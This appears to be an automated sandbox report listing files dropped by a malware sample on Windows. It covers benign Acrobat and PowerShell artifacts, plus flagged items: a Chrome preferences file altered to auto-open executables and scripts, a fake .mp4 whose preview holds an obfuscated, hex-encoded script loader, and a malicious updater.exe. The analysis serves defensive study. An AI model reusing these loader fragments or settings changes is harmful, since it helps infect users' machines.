SHA-512:	9891544EEE6B11B2A10A7A790EBCAFFE0DA987B103960723FE735FF73F0EEF0AE071AF593C210FFDA08C6A8F97ED2FDCFED49E4493CD5B57CE759C1EACE971AE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaaba8ed-60f6-4ee9-955a-5c284a6476cb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734600923479,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.122808292460539
Encrypted:	false
SSDEEP:	24:Y3Ea5hE23ayGFr8XqG/YZiixhIAdwUBEjO8yyj0SAI0g2HiV2LSqC8pqD6e3dMcy:Y/E2xX1/YZi0wOlEJtqaosD6eNMcbS9v
MD5:	E6901BFD5CFB66BB36F7BA2CB4747771
SHA1:	32F44043933FD2B9E76955F7966BD50B24CD3C0F
SHA-256:	D94A68B2DCFAB63487BB3EC48D63ED590DA2CD8830863CAF5744285CAAFD4ABB
SHA-512:	C594642864BAA32E41666080C0244F2B28FB543BFFB5815FE41C0ACEF21D8A12FA1CA3484086CB37A61B4E11C94CE7C7144693F5295A2866D44F371FBD839008
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"215da98828354fa9e5f2d05ffd9ee60a","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1734421117000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"a578e7d739dc189235b9a2756a4f1ce5","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1734421117000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d279f18fe012a8890d8ff2a214ce6104","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1734421117000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"d86ca77971b05c408ec5533a2f2587c5","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1734421117000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"934d199f75e39cb80041706d87012d28","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1734421117000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"998c573367fa65086af6a5a67b3786c6","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9836759135482421
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Sp+B4zJwtNBwtNbRZ6bRZ4xBF:TVl2GL7ms6ggOVp+CzutYtp6PIT
MD5:	8A0F2CBA673D5B55B55E48C7BB948DF0
SHA1:	552B3A45793CCE907A41B748BB88C3B1BC185BA6
SHA-256:	CBC639510562AAE08FEE0E203F8FAB0155BC0D4969BB653E0FE7A621E7B20E0C
SHA-512:	1B573B66F41C70989453B73BFF36B0B636CF181FAFF1D3EA9A571AEEAB34409F40B6D3066022A3C775FF980BE21C75AF3E5E2BC73DD23BECA67EBBE7C86B920D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3386610106493257
Encrypted:	false
SSDEEP:	24:7+tgAD1RZKHs/Ds/Sp+BPzJwtNBwtNbRZ6bRZWf1RZKHqLBx/XYKQvGJF7ursp:7MgGgOVp+ZzutYtp6PM2qll2GL7msp
MD5:	7DAC0A53A5E7199F0F78FBB9ACDE9649
SHA1:	09496C83F09D8D08E1ED832ED26315014445091F
SHA-256:	7187280C60B5E581BD9D8960673D42880F8DE6B6145886B338DDDA62956E0FC1
SHA-512:	04A0C9AA5296B09A63EA2160E424BC9EBD099B89FD3CA79D1F63E7B22BD8015EDD1BADBA0220FF468AAA86562377C1F9825AC18BCE292AD3EC827BE76DA74F89
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgw/l/aKWfuMSBXIBOsyInCtsYyu:6a6TZ44ADEw/8KWfHSBXHOK
MD5:	26A327057E576D5EC902AA7148BC34B1
SHA1:	A8F49849A5DA8FDD6241EFAD446BB4145DC7D777
SHA-256:	6A8A4839504BB7DCC453BB243875EC3FF9166FFC475C34483FBE70AD4F6C7723
SHA-512:	8875397A01272CF6627D131B3FC24185425F530FA7F3C01FA9C764F942F5916F5D478A13590F7201BBF3F33FBE8AAAD17BBD15EE5D57D2D7416E6509F3DEFA27
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18463
Entropy (8bit):	5.542594149168027
Encrypted:	false
SSDEEP:	384:08efLPLee5Xqm1kXqKf/pUZNCgVLH2HfEpMrUerJWHG9knVA8Gw3X:0TfLPLddqm1kXqKf/pUZNCgVLH2Hf8Ms
MD5:	CA487096F6E2DC0DF7B67B9C36E2E41F
SHA1:	A8456460705327AAD0BE0C82D1862CD1AEF35A18
SHA-256:	F9CDF5C3833BBA7F35F385CF89D3679FC2B202E7C8EF5F2C728C04FABC1D30FE
SHA-512:	DBF5F4C8916314085CB0FC5E71A6BC8EF5B971CF96918AB8C093CF3DD89C99F1A346B7123F3B358C023C069AC292AB642E7EB7B9B4ED72B8EF12B45DC4B290DB
Malicious:	true
Preview:	{"download":{"directory_upgrade":true,"always_open_pdf_externally":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mht:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz:msi"},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13340900409243018","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13340900409243018","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, e

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	410
Entropy (8bit):	5.361827289088002
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAq1KDLI4M0kvoDLI4MWuCv:ML9E4KH1qE4jE4Ks
MD5:	812F0A8C671812AA613FC139B69E8614
SHA1:	B4177437C50B25B06FB885362DA36FD171A1C5A9
SHA-256:	6D3DF2C3EA20D3A411078200AFA62DAC6AABA4210C83A2186E80195977BF0F89
SHA-512:	6A82C1F195C66FCC0533B20B8AE9B4F9CEBED6C8D7B450C574E864A60D627F3ABE32081BF65822157716F4672180E19C0DFA91D88663F7FC3CBE7FD0EB36B2EA
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\3VKKE[1].mp4

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	352584
Entropy (8bit):	3.1578205932269725
Encrypted:	false
SSDEEP:	3072:bnOFF1Dk8UYUkbho0mMI2GBghe6XKKxe14ieMqQv7M4Er7:T4Pd1I6Xuc
MD5:	61EFF840778583E9969AFEDA5BA02EF0
SHA1:	70E373F124CD36FC074F5602777A97C843B1D280
SHA-256:	59864B210AC0B35641FFE142F436DC7F8B43D5A7224231B2AD3F3DE00F885409
SHA-512:	32F26B4AA866CB8354B4142B5A49F2CEF0C38020052C5CE8E4A429F3305777F72CDF748015F5B2E4F273D84D94E01B2D8B42BC16D4813DD25A5EA395628F034B
Malicious:	false
Preview:	66q75b6eb63i74b69c6fx6eS20z4aw53Y58N78T49P78t28F52t5aW73D70b29K7bp76L61x72C20y57J73t62x56m3dq20U27r27G3bh66W6fh72P20u28Q76e61D72x20t78S71y72B4cC55f20n3dw20U30G3bq78A71A72Q4cd55f20c3cT20E52V5aN73G70E2eW6cM65i6eX67Y74e68c3bn20x78H71s72R4cf55E2bx2bH29N7bJ76p61W72N20A72G4bg52F4cE20j3dS20w53Z74i72k69m6eO67b2eo66T72I6fO6dS43r68T61t72s43I6fy64y65a28f52M5ar73L70X5bj78q71V72G4cC55R5dT20u2dK20r32X33Z34I29e3bR57c73I62n56E20v3dX20e57u73G62N56X20H2bG20I72m4bk52i4cX7dM72D65X74G75i72R6er20v57Y73h62b56W7dT3bA76T61g72y20W57Z73m62Q56z20F3dw20O4at53e58K78N49l78X28G5bo33C34v36b2ct33W34a35V2cN33z35z33w2cS33k33t35X2cn33Z34K38Q2cL33v34G39M2cx33a33r38o2cn33h33h35m2cK33V34h32R2cE33s34n32b2cv32D38Z30Q2cA33J33d35e2cz33H35W34n2ca33G33u35t2cv32j36e36T2cf32l37i39f2cR33M35l33x2cC32b36S36v2cm32j38V33H2cW32q36M36o2cw32M37p39f2cK33u33M35E2ca33o34W36V2cN32T36w36J2cV33t31y39n2cX33g34b34X2cp33b34B38q2cl33n33X35E2cW33p34W39S2cw33D35V30X2cA33h34W38O2cF33w33h39S2cn33L33m33c2cs33Y35R30P2ck33R33q35j2cs33V33S34n2cQ32R36y36Y2cx3

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9R:9rib4ZmVoGIpN6KQkj2Fkjh4iUxsT6YP
MD5:	8A4B02D8A977CB929C05D4BC2942C5A9
SHA1:	F9A6426CAF2E8C64202E86B07F1A461056626BEA
SHA-256:	624047EB773F90D76C34B708F48EA8F82CB0EC0FCF493CA2FA704FCDA7C4B715
SHA-512:	38697525814CDED7B27D43A7B37198518E295F992ECB255394364EC02706443FB3298CBBAA57629CCF8DDBD26FD7CAAC44524C4411829147C339DD3901281AC2
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\48216953\OZxvrKbf.bin

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	963397
Entropy (8bit):	6.793850672344393
Encrypted:	false
SSDEEP:	12288:Y3UgFC7mbSkjvbmxqn5A45dZ4aqzHlo0+gXLG7VX:Yrb/j5LdZ4aqDLXLG7VX
MD5:	70B1893C0680EE6389533300335B7DC3
SHA1:	20A13733A25D32547D27A963BDB6E8007532774D
SHA-256:	AA2734107B103077A121FDD37EBFD4E8A36E17E00EBF01746A7DB8D4EAA296EB
SHA-512:	355D7FB4095D6F408281900BFB89C1DED05A72591A7AB8162543039667A9CD7810B5FB62F9DDD0F547007A331ABE9F7597EC3DB8DC88BB3B4296B92D57BB8F07
Malicious:	false
Preview:	L5e...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................L5e.....................................

C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	893608
Entropy (8bit):	6.620131693023677
Encrypted:	false
SSDEEP:	12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5:	C56B5F0201A3B3DE53E561FE76912BFD
SHA1:	2A4062E10A5DE813F5688221DBEB3F3FF33EB417
SHA-256:	237D1BCA6E056DF5BB16A1216A434634109478F882D3B1D58344C801D184F95D
SHA-512:	195B98245BB820085AE9203CDB6D470B749D1F228908093E8606453B027B7D7681CCD7952E30C2F5DD40F8F0B999CCFC60EBB03419B574C08DE6816E75710D2C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: payload_1.hta, Detection: malicious, Browse Filename: fsg5PWtTm2.lnk, Detection: malicious, Browse Filename: Whatsapp-GUI.exe, Detection: malicious, Browse Filename: Whatsapp-GUI.exe, Detection: malicious, Browse Filename: Agreement for Cooperation.PDF.lnk.download.lnk, Detection: malicious, Browse Filename: malware.zip, Detection: malicious, Browse Filename: Dark_drop_2_pers_lum_clean.exe.bin.exe, Detection: malicious, Browse Filename: Agreement for YouTube cooperation.pdf.lnk.download.lnk, Detection: malicious, Browse Filename: 3rd_cc_form_Oct_2024.pdf.lnk.download.lnk, Detection: malicious, Browse Filename: tQ6Z4Vjp5f.lnk, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L....q.Z.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI7330d.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5197430193686525
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8AYlnNWKw:Qw946cPbiOxDlbYnuRKO/U
MD5:	7AA155FF0547A88A863EB23DEC54BDF6
SHA1:	377A5F1F4A0FEC41D3B6C8DD994F491897BB4B48
SHA-256:	33FE0DB9B45EC6B053A5424852D908E1959169537CA7FB33CDAF321DFBF541A3
SHA-512:	A9D4F5FA5D567B35CCA6066989E89FD76BE7D82BA7EFE0C15DBC8649F69913E7BFCFDA762B1C10F538C8369D97DF92D656DE7E24C23BDC0846EEB26745AD88F1
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.7./.1.2./.2.0.2.4. . .0.2.:.3.8.:.2.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2jgqxc1b.lmf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5e4jjcl2.uxn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_djlltiic.gir.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jf3jug24.rqz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kiknnfxw.ies.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m4r2tf3a.fex.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nmiby52n.4n1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s2u2fmrz.pfn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-12-17 02-38-23-085.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.304027217028901
Encrypted:	false
SSDEEP:	384:u/B5b5Q5j5Z5O5tD525D55jI55E534x4u484Z6wFcFGFKU/ULUoU9UxBB/BHBNBx:ckj0x
